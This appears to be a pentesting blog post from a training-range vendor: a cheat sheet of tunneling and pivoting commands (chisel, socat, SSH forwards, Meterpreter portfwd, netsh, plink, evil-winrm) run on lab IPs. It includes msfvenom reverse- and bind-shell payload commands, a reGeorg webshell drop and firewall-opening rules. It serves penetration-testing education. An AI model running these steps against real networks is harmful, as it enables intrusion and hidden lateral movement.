This post will cover some useful tools and commands for tunneling and pivoting in relation to pentesting. Targeted to be a non-exhaustive cheat sheet.
🚨 There are plenty of tools and unique scenarios involved in tunneling and post-exploitation, so be sure to Checkout Our Ranges to build your knowledge and gain hands-on experience!.
- SSH Tunnels
- Meterpreter/Metasploit portforwarding
- Windows Combo
A few examples throughout the post will cover a basic scenario given a set of IP’s with the attacker running Kali Linux - map is shown below.
A robust OS agnostic tool to build out simple to complex tunnels. Built using the client-server model. Great opton if your target doesn’t have SSH built in.
Launching Chisel Server this example will listen on 5447.
chisel server --host 172.18.0.65 -p 5447 --socks5 --reverse
Launching the Chisle Client this example will callback to Kali port 5447 and enable port 2600 for proxychains on Kali.
./chisle_binary client 172.18.0.65:5447 R:2600:socks
Within your proxychains config on Kali (vim :$) update the ProxyList directive to
[ProxyList] socks5 127.0.0.1 2600
Now when using proxychains, your traffic will be piped through your client.
proxychains wget http://10.55.1.21/research.odt
A lot you can do with socat. This example will forward traffic between Kali and an internal target by using the intermediary/public-facing target as a proxy.
This payload example will listen on 4991 for incoming connections. This bind shell will be executed an internal, non-public target.
msfvenom -f exe -p windows/shell_bind_tcp LPORT=4991 -f exe > ib_4991.exe
On the intermediary target, move over and install socat via scp.
scp -r -i ssh-key /tmp/socat.rpm firstname.lastname@example.org:/tmp yum install /tmp/socat.rpm
Meow run socat. This will listen on its interface of 10.55.1.22 port 8080, then forward any request hitting 8080 onto the internal target, 10.55.1.21 port 4991.
socat tcp-listen:8080,bind=10.55.1.22,fork tcp:10.55.1.21:4991
Finally, on Kali use netcat to connect to socats listening host:port.
nc -nv 10.55.1.22 8080
A lot more you can do with socat, and very reliable.
If SSH is common place in your target environment you can build out SSH tunnels to accomplish your goal without dropping any extra tools. With SSH you can setup dynamic port forwarding, forward specific ports, or use the -J switch to treat targets as jumphosts.
Dynamic port forwarding.
Running this on your Kali machine with proxychains will proxy traffic through 10.55.1.22 off to additional targets. You’ll need to update your socks port in the proxychains config to 2600, or whatever port of your choosing.
ssh -N -D 2600 email@example.com
Remote forwarding can be used to access internal resources (web servers, DB’s, etc) or catch reverse shells. You’ll need to allow
GatewayPorts yes on the intermediate/proxy machines sshd config for this to work.
Running from your attacking box, this example will ssh to 10.55.1.22 and forward requests going to locahost:8081 onto 10.55.1.21:80.
ssh -R 8081:10.55.1.21:80 firstname.lastname@example.org
So running this command and opening firefox on Kali, going to http://localhost:8081 will display contents of http://10.55.1.21/
The below example will ssh to 10.55.1.22, listen on 10.55.1.22 port 4444, then forward to localhost on Kali port 4447. This’ll work to catch a callback from a reverse shell on an internal target.
ssh -R 10.55.1.22:4444:127.0.0.1:4447 email@example.com
Setting up the reverse shell payload you’ll need to set the LHOST to 10.55.1.22 port 4444, then listen on Kali’s localhost 4447. Example below.
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.55.1.22 LPORT=4444 -f exe > exploit.exe
-J flag allows you to easily pivot onto other servers running SSH. These servers may not be publicly accessible or may be deeper within an internal network. This flag will basically turn an intermediary SSH server into a jump box.
You can use one or more intermediary ssh servers as jump hosts.
ssh -J firstname.lastname@example.org email@example.com ssh -J firstname.lastname@example.org,email@example.com firstname.lastname@example.org
Occasionally this method to be finicky. This example you’d have a meterpreter session on 10.55.1.22. Then create a portforward listener on port 8071, forwarding all requests that hit 8071 onto 10.55.1.21 port 80.
meterpreter > portfwd add -l 8071 -p 80 -r 10.55.1.21
reGeorg functions as sort of a web shell tunnel. A useful tool if you have limited access to your intermediary/public-facing web server or if you want your proxied traffic to blend into normal web traffic. It works as a client-server tool and you’ll need to use proxychains along with it.
The reGeorg client/webshell is written in a few different web languages. Once you drop the client webshell on target, you’ll run the reGeorg python script from your attacking box. This example will have your proxychains config set to port 2600.
python reGeorg.py -p 2600 -u http://10.55.1.22/wordpress/re-tunnel.php
Now when you use proxychains, your traffic will be tunneled through 10.55.1.22 over port 80.
Netsh is a built-in Windows CLI binary which amongst other things can be used to port forward. This example will listen on 10.55.1.21 interface on port 5446 and will forward requests hitting 5446 off to 10.55.1.20 port 5985.
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.55.1.21 connectport=5985 connectaddress=10.55.1.20
You can also use netsh to open ports on the firewall, which you may need to do when you smash open one of these ports.
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
Plink.exe is a CLI binary based on putty. It has similar capabilities like other individual binaries discussed. You can use it as a simple SSH command-line client on Windows (if none are built-in). You can also use to create local or reverse tunnels.
Ran from the internal Windows box (10.55.1.21) you will create a reverse tunnel on 10.55.1.22 listening on all interfaces (0.0.0.0) port 8181. Then forward anything that hits 8181 onto localhost (aka .21 Windows box) port 80.
.\plink.exe -ssh -l root -pw toor -R 0.0.0.0:8181:127.0.0.1:80 10.55.1.22
So opening firefox from your Kali box, going to http://10.55.1.22:8181 you’ll get whatevers hosted locally on 10.55.1.21 port 80 (eg: web gui admin console)
You can combo up to muti-hop using a mix of tools. This example we’ll use plink and netsh, ultimately allowing us to use evil-winrm from Kali.
So from Kali » hopping through 10.55.1.22 onto 10.55.1.21 » then onto 10.55.1.20 via WinRm.
First on the internal Windows box (10.55.1.21), run plink.exe. This’ll listen on all interfaces port 8989 on 10.55.1.22, then forward anything hitting 8989 onto the Window localhost 9090.
.\plink.exe -ssh -l root -pw toor -R 0.0.0.0:8989:127.0.0.1:9090 10.55.1.22
Now to forward anything hitting 9090 off to 10.55.1.20 port 5985 (WinRM) you’d do something like the following.
netsh interface portproxy add v4tov4 listenport=9090 listenaddress=10.55.1.21 connectport=5985 connectaddress=10.55.1.20
Then from Kali run evil-winrm with the correct host, port and creds.
evil-winrm -i 10.55.1.22 -u 'administrator' -p 'hunter2' -P 8989
Here you can see output from netstat on each intermediary box.
If you wanted to skip the netsh part and go directly to WinRM you could replace the remote part of the syntax. Forwarding locally, you may avoid some unique firewall rules or (arguably) blend in more. Example below.
.\plink.exe -ssh -l root -pw toor -R 0.0.0.0:8989:10.55.1.20:5985 10.55.1.22